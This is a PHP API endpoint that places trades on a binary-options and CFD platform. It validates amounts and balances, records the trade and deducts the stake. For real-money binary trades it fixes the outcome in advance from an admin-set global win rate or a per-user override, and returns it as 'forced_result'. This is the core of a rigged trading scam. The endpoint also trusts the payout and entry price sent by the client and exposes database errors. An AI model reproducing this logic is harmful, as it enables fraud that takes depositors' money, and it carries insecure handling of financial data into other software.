<?php
/**
 * Place Trade API - Database Connected
 */
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');

require_once '../../config/config.php';
require_once '../../config/database.php';
require_once '../../includes/functions.php';
require_once '../../includes/Auth.php';

if (session_status() === PHP_SESSION_NONE) session_start();

$user = auth()->getUser();
if (!$user) {
    echo json_encode(['success' => false, 'error' => 'Not logged in']);
    exit;
}

$input = json_decode(file_get_contents('php://input'), true);

$assetId = (int)($input['asset_id'] ?? 1);
$direction = $input['direction'] ?? 'up';
$amount = (float)($input['amount'] ?? 100);
$entryPrice = (float)($input['entry_price'] ?? 0);
$payoutPercent = (int)($input['payout_percent'] ?? 85);
$duration = (int)($input['duration'] ?? 60);
$isDemo = isset($input['is_demo']) ? (int)$input['is_demo'] : 1;
$tradeType = $input['trade_type'] ?? 'binary';
if (!in_array($tradeType, ['binary', 'cfd'])) $tradeType = 'binary';

$lotSize = isset($input['lot_size']) ? (float)$input['lot_size'] : null;
$leverage = (int)($input['leverage'] ?? 1);
$sl = isset($input['sl']) ? (float)$input['sl'] : null;
$tp = isset($input['tp']) ? (float)$input['tp'] : null;

// Get settings
$settings = [];
try {
    $rows = dbFetchAll("SELECT setting_key, setting_value FROM settings WHERE setting_key IN ('min_trade_amount', 'max_trade_amount', 'min_trade', 'max_trade', 'global_win_rate')");
    foreach ($rows as $row) $settings[$row['setting_key']] = $row['setting_value'];
} catch (Exception $e) {}

$minTrade = (int)($settings['min_trade_amount'] ?? $settings['min_trade'] ?? 10);
$maxTrade = (int)($settings['max_trade_amount'] ?? $settings['max_trade'] ?? 50000);

if ($amount < $minTrade) {
    echo json_encode(['success' => false, 'error' => "Minimum amount is $minTrade"]);
    exit;
}

if ($amount > $maxTrade) {
    echo json_encode(['success' => false, 'error' => "Maximum amount is $maxTrade"]);
    exit;
}

try {
    // Get asset info
    $asset = dbFetch("SELECT * FROM assets WHERE id = :id", ['id' => $assetId]);
    if (!$asset || !$asset['is_active']) {
        echo json_encode(['success' => false, 'error' => 'Asset is not active']);
        exit;
    }
    $symbol = $asset['symbol'] ?? 'BTCUSDT';
    
    // Check wallet balance
    $wallet = dbFetch("SELECT * FROM user_wallets WHERE user_id = :uid", ['uid' => $user['id']]);
    if (!$wallet) {
        dbInsert('user_wallets', ['user_id' => $user['id'], 'balance' => 0, 'demo_balance' => 10000]);
        $wallet = ['balance' => 0, 'demo_balance' => 10000];
    }
    
    $pendingData = dbFetch("SELECT COALESCE(SUM(amount), 0) as total FROM withdrawals WHERE user_id = :uid AND status = 'pending'", ['uid' => $user['id']]);
    $pendingWithdrawals = (float)$pendingData['total'];
    
    $currentBal = $isDemo ? (float)$wallet['demo_balance'] : ((float)$wallet['balance'] + (float)$wallet['bonus_balance'] - $pendingWithdrawals);
    if ($amount > $currentBal) {
        echo json_encode(['success' => false, 'error' => 'Insufficient usable balance (check pending withdrawals)']);
        exit;
    }
    
    // Generate unique trade ID
    $tradeIdStr = 'T' . date('ymd') . strtoupper(substr(md5(uniqid()), 0, 6));
    
    $startTime = date('Y-m-d H:i:s');
    $endTime = date('Y-m-d H:i:s', time() + $duration);
    $potentialProfit = $amount * ($payoutPercent / 100);
    
    // Insert trade - match schema column names
    $tradeId = dbInsert('trades', [
        'trade_id' => $tradeIdStr,
        'user_id' => $user['id'],
        'asset_id' => $assetId,
        'symbol' => $symbol,
        'trade_type' => $tradeType,
        'direction' => $direction,
        'amount' => $amount,
        'lot_size' => $lotSize,
        'leverage' => $leverage,
        'entry_price' => $entryPrice,
        'stop_loss' => $sl,
        'take_profit' => $tp,
        'payout_percent' => $payoutPercent,
        'duration_seconds' => $duration,
        'potential_profit' => $potentialProfit,
        'result' => 'pending',
        'is_demo' => $isDemo,
        'start_time' => $startTime,
        'end_time' => $endTime,
        'created_at' => $startTime
    ]);
    
    if (!$tradeId) {
        throw new Exception("Failed to insert trade");
    }
    
    $forcedResult = null;
    if (!$isDemo && $tradeType === 'binary') {
        $globalWinRate = (int)($settings['global_win_rate'] ?? 45);
        $userWinRate = isset($user['win_rate_override']) && $user['win_rate_override'] !== null 
            ? (int)$user['win_rate_override'] 
            : $globalWinRate;
            
        if ($userWinRate < 0) $userWinRate = 0;
        if ($userWinRate > 100) $userWinRate = 100;
        
        if ($userWinRate === 0) {
            $forcedResult = 'lost';
        } elseif ($userWinRate === 100) {
            $forcedResult = 'won';
        } else {
            $random = mt_rand(1, 100);
            $forcedResult = $random <= $userWinRate ? 'won' : 'lost';
        }
    }
    
    // Update wallet balance
    // NOTE: Using positional parameters (?) to avoid PDO issue with reusing named params multiple times
    if ($isDemo) {
        $balResult = dbQuery(
            "UPDATE user_wallets SET demo_balance = demo_balance - ? WHERE user_id = ?",
            [$amount, $user['id']]
        );
    } else {
        // Deduct from balance first, then from bonus_balance if balance is insufficient
        $balResult = dbQuery(
            "UPDATE user_wallets 
             SET 
                balance = CASE WHEN balance >= ? THEN balance - ? ELSE 0 END,
                bonus_balance = CASE WHEN balance < ? THEN GREATEST(0, bonus_balance - (? - balance)) ELSE bonus_balance END
             WHERE user_id = ?",
            [$amount, $amount, $amount, $amount, $user['id']]
        );
    }
    
    if (!$balResult) {
        // Balance deduction failed - rollback trade insert
        dbQuery("DELETE FROM trades WHERE id = ?", [$tradeId]);
        throw new Exception("Failed to deduct balance. Please try again.");
    }
    
    // Update total trades count
    dbQuery("UPDATE user_wallets SET total_trades = total_trades + 1 WHERE user_id = :uid", ['uid' => $user['id']]);
    
    echo json_encode([
        'success' => true, 
        'trade_id' => $tradeId, 
        'trade_ref' => $tradeIdStr,
        'forced_result' => $forcedResult
    ]);
} catch (Exception $e) {
    error_log("Trade Place Error: " . $e->getMessage());
    echo json_encode(['success' => false, 'error' => 'Database error: ' . $e->getMessage()]);
}
